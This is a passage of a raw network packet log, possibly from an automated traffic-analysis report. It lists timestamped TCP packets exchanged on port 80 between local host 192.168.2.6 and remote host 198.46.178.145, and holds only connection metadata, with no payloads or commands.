Jul 26, 2024 11:27:10.377526999 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.378712893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.378722906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.378735065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.378746986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.378755093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.378761053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.378799915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.378799915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.388631105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.388767958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.388776064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.388822079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.389321089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.389329910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.389342070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.389352083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.389453888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.389453888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.389453888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.432559013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.432625055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.432634115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.432761908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.432761908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.432912111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.432923079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.432931900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.432945013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.432962894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.432984114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.433643103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.433651924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.433665991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.433675051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.433685064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.433690071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.433717966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.433737040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.434560061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.434571028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.434583902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.434592962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.434604883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.434612989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.434629917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.434674978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.435445070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.435455084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.435466051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.435477972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.435484886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.435492039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.435501099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.435508013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.435524940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.435564041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.436342955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.436352968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.436366081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.436373949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.436388016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.436414957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.456844091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.456881046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.456892014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.457077980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.457087040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.457093954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.457103968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.457115889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.457226992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.457226992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.457226992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460009098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460211039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460232973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460242033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460253000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460258007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460270882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460278988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460284948 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460293055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460304022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460308075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460319996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460328102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460333109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460340977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460350037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460355997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460366964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460376024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460381985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460390091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460397005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460403919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460413933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460418940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460463047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460463047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460649014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460658073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460669041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460680962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460688114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460695982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.460711002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.460732937 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.461601973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.461611986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.461621046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.461633921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.461642027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.461647034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.461658955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.461678028 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.461709023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.462549925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.462559938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.462568998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.462580919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.462589979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.462595940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.462639093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.463406086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.463416100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.463424921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.463438034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.463447094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.463459015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.463934898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.463944912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.463952065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.463958979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.463968039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.463999033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.463999033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.464369059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.464379072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.464389086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.464401007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.464409113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.464415073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.464426994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.464442015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.464485884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.464485884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.465162039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.465172052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.465179920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.465193987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.465202093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.465208054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.465220928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.465229034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.465234995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.465250015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.465367079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466136932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466219902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466294050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466306925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466316938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466330051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466344118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466375113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466561079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466576099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466586113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466598988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466607094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466615915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466623068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466630936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466640949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466646910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.466691971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.466691971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.467466116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.467475891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.467484951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.467515945 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.467536926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.478945971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.478986025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.479085922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.479095936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.479129076 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.479518890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.479533911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.479545116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.479557991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.479571104 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.479605913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.528825045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.528902054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.529037952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529048920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529084921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.529172897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529182911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529196024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529207945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529222012 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.529237032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.529813051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529823065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529834986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529845953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529853106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.529860973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529870033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.529875994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.529906988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.529941082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.530770063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.530780077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.530791998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.530802965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.530808926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.530817032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.530831099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.530836105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.530848026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.530864000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.530886889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.532789946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.532799959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.532813072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.532821894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.532830954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.532836914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.532846928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.532852888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.532861948 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.532866955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.532902002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.532902002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.548408031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548476934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.548502922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548511982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548552990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.548829079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548837900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548851967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548877954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548883915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.548894882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.548909903 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.548930883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.549504995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.549514055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.549526930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.549535990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.549546003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.549551010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.549573898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.549587011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.550244093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.550251961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.550263882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.550275087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.550285101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.550288916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.550298929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.550304890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.550329924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.551146984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.551156044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.551170111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.551179886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.551187038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.551194906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.551203012 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.551209927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.551239014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.551282883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.552094936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.552104950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.552117109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.552128077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.552134991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.552141905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.552151918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.552158117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.552170038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.552181959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.552220106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.553066015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.553076029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.553086996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.553098917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.553103924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.553111076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.553117990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.553126097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.553133965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.553143978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.553302050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.554028034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.554038048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.554053068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.554061890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.554069042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.554075956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.554083109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.554090977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.554121971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.554156065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.555000067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.555008888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.555016994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.555028915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.555037975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.555042982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.555052042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.555062056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.555068970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.555080891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.555118084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.556013107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.556021929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.556035042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.556045055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.556052923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.556058884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.556067944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.556075096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.556086063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.556101084 CEST	49741	80	192.168.2.6	198.46.178.145
